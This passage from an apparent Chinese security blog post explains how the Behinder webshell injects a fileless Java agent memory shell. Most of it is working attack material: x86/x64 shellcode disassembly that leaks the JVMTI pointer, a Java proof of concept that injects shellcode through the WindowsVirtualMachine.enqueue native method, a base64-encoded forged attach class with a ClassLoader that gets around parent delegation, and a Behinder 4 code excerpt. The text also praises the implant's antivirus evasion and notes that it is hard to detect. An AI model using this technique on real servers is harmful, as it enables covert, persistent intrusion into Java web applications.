008300BE | 8BC1 | mov eax,ecx |
008300C0 | 83EC 30 | sub esp,30 |
008300C3 | 6A 00 | push 0 |
008300C5 | 54 | push esp |
008300C6 | 59 | pop ecx |
008300C7 | 83C1 10 | add ecx,10 |
008300CA | 51 | push ecx |
008300CB | 8B00 | mov eax,dword ptr ds:[eax] |
008300CD | 50 | push eax |
008300CE | 8B18 | mov ebx,dword ptr ds:[eax] | ebx:"MZ?"
008300D0 | 8B43 10 | mov eax,dword ptr ds:[ebx+10] |
008300D3 | FFD0 | call eax |
008300D5 | 8B43 18 | mov eax,dword ptr ds:[ebx+18] |
008300D8 | 68 00020130 | push 30010200 |
008300DD | 68 14610317 | push 17036114 |;该内存地址是JavaVM->GetEnv的第一个参数,由我们动态指定,用来接收jvmti对象的地址
008300E2 | 83EC 04 | sub esp,4 |
008300E5 | FFD0 | call eax |
008300E7 | 83EC 0C | sub esp,C |
008300EA | 8B43 14 | mov eax,dword ptr ds:[ebx+14] |
008300ED | FFD0 | call eax |
008300EF | 83C4 5C | add esp,5C |
008300F2 | C3 | ret |

X64版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
00000000541E0000 | 48:83EC 28               | sub rsp,28                              |
00000000541E0004 | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0 |
00000000541E0008 | 48:31C9 | xor rcx,rcx |
00000000541E000B | 6548:8B41 60 | mov rax,qword ptr gs:[rcx+60] |
00000000541E0010 | 48:8B40 18 | mov rax,qword ptr ds:[rax+18] |
00000000541E0014 | 48:8B70 20 | mov rsi,qword ptr ds:[rax+20] |
00000000541E0018 | 48:AD | lodsq |
00000000541E001A | 48:96 | xchg rsi,rax |
00000000541E001C | 48:AD | lodsq |
00000000541E001E | 48:8B58 20 | mov rbx,qword ptr ds:[rax+20] | rbx:"MZ?"
00000000541E0022 | 4D:31C0 | xor r8,r8 |
00000000541E0025 | 44:8B43 3C | mov r8d,dword ptr ds:[rbx+3C] |
00000000541E0029 | 4C:89C2 | mov rdx,r8 |
00000000541E002C | 48:01DA | add rdx,rbx | rbx:"MZ?"
00000000541E002F | 44:8B82 88000000 | mov r8d,dword ptr ds:[rdx+88] |
00000000541E0036 | 49:01D8 | add r8,rbx | rbx:"MZ?"
00000000541E0039 | 48:31F6 | xor rsi,rsi |
00000000541E003C | 41:8B70 20 | mov esi,dword ptr ds:[r8+20] |
00000000541E0040 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E0043 | 48:31C9 | xor rcx,rcx |
00000000541E0046 | 49:B9 47657450726F6341 | mov r9,41636F7250746547 |
00000000541E0050 | 48:FFC1 | inc rcx |
00000000541E0053 | 48:31C0 | xor rax,rax |
00000000541E0056 | 8B048E | mov eax,dword ptr ds:[rsi+rcx*4] |
00000000541E0059 | 48:01D8 | add rax,rbx | rbx:"MZ?"
00000000541E005C | 4C:3908 | cmp qword ptr ds:[rax],r9 |
00000000541E005F | 75 EF | jne 541E0050 |
00000000541E0061 | 48:31F6 | xor rsi,rsi |
00000000541E0064 | 41:8B70 24 | mov esi,dword ptr ds:[r8+24] |
00000000541E0068 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E006B | 66:8B0C4E | mov cx,word ptr ds:[rsi+rcx*2] |
00000000541E006F | 48:31F6 | xor rsi,rsi |
00000000541E0072 | 41:8B70 1C | mov esi,dword ptr ds:[r8+1C] |
00000000541E0076 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E0079 | 48:31D2 | xor rdx,rdx |
00000000541E007C | 8B148E | mov edx,dword ptr ds:[rsi+rcx*4] |
00000000541E007F | 48:01DA | add rdx,rbx | rbx:"MZ?"
00000000541E0082 | 48:89D7 | mov rdi,rdx |
00000000541E0085 | B9 61727941 | mov ecx,41797261 |
00000000541E008A | 51 | push rcx |
00000000541E008B | 48:B9 4C6F61644C696272 | mov rcx,7262694C64616F4C |
00000000541E0095 | 51 | push rcx |
00000000541E0096 | 48:89E2 | mov rdx,rsp |
00000000541E0099 | 48:89D9 | mov rcx,rbx | rbx:"MZ?"
00000000541E009C | 48:83EC 30 | sub rsp,30 |
00000000541E00A0 | FFD7 | call rdi |
00000000541E00A2 | 48:83C4 30 | add rsp,30 |
00000000541E00A6 | 48:83C4 10 | add rsp,10 |
00000000541E00AA | 48:89C6 | mov rsi,rax |
00000000541E00AD | B9 6C6C0000 | mov ecx,6C6C |
00000000541E00B2 | 51 | push rcx |
00000000541E00B3 | B9 6A766D00 | mov ecx,6D766A |
00000000541E00B8 | 51 | push rcx |
00000000541E00B9 | 48:89E1 | mov rcx,rsp |
00000000541E00BC | 48:83EC 30 | sub rsp,30 |
00000000541E00C0 | FFD6 | call rsi |
00000000541E00C2 | 48:83C4 30 | add rsp,30 |
00000000541E00C6 | 48:83C4 10 | add rsp,10 |
00000000541E00CA | 49:89C7 | mov r15,rax |
00000000541E00CD | 48:31C9 | xor rcx,rcx |
00000000541E00D0 | 48:B9 7661564D73000000 | mov rcx,734D566176 |
00000000541E00DA | 51 | push rcx |
00000000541E00DB | 48:B9 7265617465644A61 | mov rcx,614A646574616572 |
00000000541E00E5 | 51 | push rcx |
00000000541E00E6 | 48:B9 4A4E495F47657443 | mov rcx,437465475F494E4A |
00000000541E00F0 | 51 | push rcx |
00000000541E00F1 | 48:89E2 | mov rdx,rsp |
00000000541E00F4 | 4C:89F9 | mov rcx,r15 |
00000000541E00F7 | 48:83EC 28 | sub rsp,28 |
00000000541E00FB | FFD7 | call rdi |
00000000541E00FD | 48:83C4 28 | add rsp,28 |
00000000541E0101 | 48:83C4 18 | add rsp,18 |
00000000541E0105 | 49:89C7 | mov r15,rax |
00000000541E0108 | 48:83EC 28 | sub rsp,28 |
00000000541E010C | 48:89E1 | mov rcx,rsp |
00000000541E010F | BA 01000000 | mov edx,1 |
00000000541E0114 | 49:89C8 | mov r8,rcx |
00000000541E0117 | 49:83C0 08 | add r8,8 |
00000000541E011B | 48:83EC 28 | sub rsp,28 |
00000000541E011F | 41:FFD7 | call r15 |
00000000541E0122 | 48:83C4 28 | add rsp,28 |
00000000541E0126 | 48:8B09 | mov rcx,qword ptr ds:[rcx] |
00000000541E0129 | 48:83EC 20 | sub rsp,20 |
00000000541E012D | 54 | push rsp |
00000000541E012E | 48:89E2 | mov rdx,rsp |
00000000541E0131 | 4D:31C0 | xor r8,r8 |
00000000541E0134 | 4C:8B39 | mov r15,qword ptr ds:[rcx] |
00000000541E0137 | 4D:8B7F 20 | mov r15,qword ptr ds:[r15+20] |
00000000541E013B | 49:89CE | mov r14,rcx |
00000000541E013E | 41:FFD7 | call r15 |
00000000541E0141 | 4C:89F1 | mov rcx,r14 |
00000000541E0144 | 48:BA A8752F5600000000 | mov rdx,562F75A8 | ;该内存地址是JavaVM->GetEnv的第一个参数,由我们动态指定,用来接收jvmti对象的地址
00000000541E014E | 41:B8 00020130 | mov r8d,30010200 |
00000000541E0154 | 4D:8B3E | mov r15,qword ptr ds:[r14] |
00000000541E0157 | 4D:8B7F 30 | mov r15,qword ptr ds:[r15+30] |
00000000541E015B | 48:83EC 20 | sub rsp,20 |
00000000541E015F | 41:FFD7 | call r15 |
00000000541E0162 | 48:83C4 20 | add rsp,20 |
00000000541E0166 | 4C:89F1 | mov rcx,r14 |
00000000541E0169 | 4D:8B3E | mov r15,qword ptr ds:[r14] |
00000000541E016C | 4D:8B7F 28 | mov r15,qword ptr ds:[r15+28] |
00000000541E0170 | 41:FFD7 | call r15 |
00000000541E0173 | 48:83C4 78 | add rsp,78 |

为什么要写一个WindowsVirtualMachine


这儿就是冰蝎中WindowsVirtualMachine类的字节码先看看如何通过反射注入shellcode执行任意代码的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import java.lang.reflect.Method;

public class ThreadMain {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
//hProcess=getHandleByPid(30244);
byte buf[] = new byte[] //pop calc.exe
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};

String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result);
}


}
Thread.sleep(4000);
}
public static long getHandleByPid(int pid)
{
Class cls= null;
long hProcess=-1;
try {
cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods()) {
if (m.getName().equals("openProcess"))
{
m.setAccessible(true);
Object result=m.invoke(cls,pid);
System.out.println("pid :"+result);
hProcess=Long.parseLong(result.toString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return hProcess;
}
}

我们可以把如上shellcode封装到WindowsVirtualMachine中去,当然为了注入agent内存马并不是通过它来直接rce,而是为我们获得agent能力去做铺垫.
可以看看dump出来的形式
为啥包名要是package sun.tools.attach;并且类名叫public class WindowsVirtualMachine呢?

可以看到前面的反射调用执行shellcode需要调用sun.tools.attach.VirtualMachineImpl类,其所在的tools.jar包并不会在每个JDK环境都存在其实这个方法在冰蝎1.0版本的时候就已经解决了,那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因

我们可以利用这个办法来打破双亲委派,实现自定义类名直接加载字节码然后实例化,这也是为什么冰蝎等工具一众推崇将恶意逻辑放入字节码,采用加载任意字节码的方式来执行恶意代码,确实学到了!

可以动手来实现逻辑:
自定义sun.tools.attach类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package sun.tools.attach;

import java.io.IOException;
import java.util.Scanner;

public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;

static native long openProcess(int pid) throws IOException;

public static void run(byte[] buf) {
System.loadLibrary("attach");
try {
enqueue(-1, buf, "test", "test", new Object[]{});
} catch (Exception e) {
e.printStackTrace();
}
}
}

javac命令编译成class,然后转成base64编码内嵌在代码里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Permission;
import java.util.Arrays;
import java.util.Base64;

public class Poc {

public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}

}

public static void main(String[] args)
{

try {

String classStr="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";
Class result = new Myloader().get(Base64.getDecoder().decode(classStr));

for (Method m:result.getDeclaredMethods())
{
System.out.println(m.getName());
if (m.getName().equals("run"))
{
m.invoke(result,new byte[]{});
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

这样就可以绕过loadClass的双亲委派机制和没有tools.jar依赖的问题来加载系统库函数的Native方法,这其实也是冰蝎的核心思路了可以看看冰蝎4中agent大马的成品实现部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
inject = (new String(inject, "ISO-8859-1")).replace("&sun/tools/attach/WindowsVirtualMachine", "#sun/tools/attach/VirtualMachineImpl").replace("(Lsun/tools/attach/WindowsVirtualMachine;", "%Lsun/tools/attach/VirtualMachineImpl;").getBytes("ISO-8859-1");

try {
injector = this.getClass().getClassLoader().getParent().loadClass("sun.tools.attach.VirtualMachineImpl");
} catch (ClassNotFoundException var13) {
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, ByteBuffer.class, ProtectionDomain.class);
defineMethod.setAccessible(true);
injector = (Class)defineMethod.invoke(this.getClass().getClassLoader().getParent(), null, ByteBuffer.wrap(inject), null);
}
injector.getField("pointerLength").set((Object)null, 8);
injector.getField("classBody").set((Object)null, classBody);
injector.getField("className").set((Object)null, className);
if (System.getProperty("os.arch").indexOf("x86") >= 0) {
injector.getField("pointerLength").set((Object)null, 4);
}

work = injector.getDeclaredMethod("work");

try {
work.invoke((Object)null, (Object[])null);
} catch (Exception var12) {
var12.printStackTrace();
}

inject里放入恶意shellcode即可,这里的shellcode的作用主要是泄露native_jvmtienv地址来快速,准确,安静的获取到JPLISAgent指针,进而手动实例化sun.instrument.InstrumentationImpl,不需要再落地agent.jar这个拖油瓶了,然后就拥有了agent的能力,可完美实现无任何文件落地即可注入agent内存马

使用条件

JDK: 目前来说只研究了JDK 8-11,高于11的话jdk部分关键类出现较大改动,需要结合绕过手段

注入前提: 需要一个能够任意加载字节码的突破口子,需要有动态代码执行上下文的能力.
比如常见的: shiro,fastjson,log4j,部分jdbc,文件上传并可以解析jsp的环境,注(Spring下不能通过上传jsp拿到动态代码上下文,因为spring启动的时候是加载的jar包,需要通过覆写jdk部分文件去解析恶意的文件)等等

效果

因为寄生在jvm里,天然免杀shellcode;具备动态修改的能力,可以选择一些用于处理http请求的关键类,用asm或javassit技术修改其类字节码,然后加入我们的恶意逻辑即可,可无视框架,项目依赖的版本,实现注入内存马的效果.

影响

目前我还没找到好的方法去杀,查的话可以同样使用agent技术去检测关键类的字节码变动情况;但也只能看有限的容易被利用的类,如果攻击者选择一些偏门的类或者是业务新增的类选择寄生agent🐎,也会很难响应,杀的话貌似要么把源码备份一次,用同样的agent技术复原类,要么用asm或者javasisst剔除恶意代码,但是容易影响到业务…

所以agent内存马很容易使得业务受影响,实战需慎用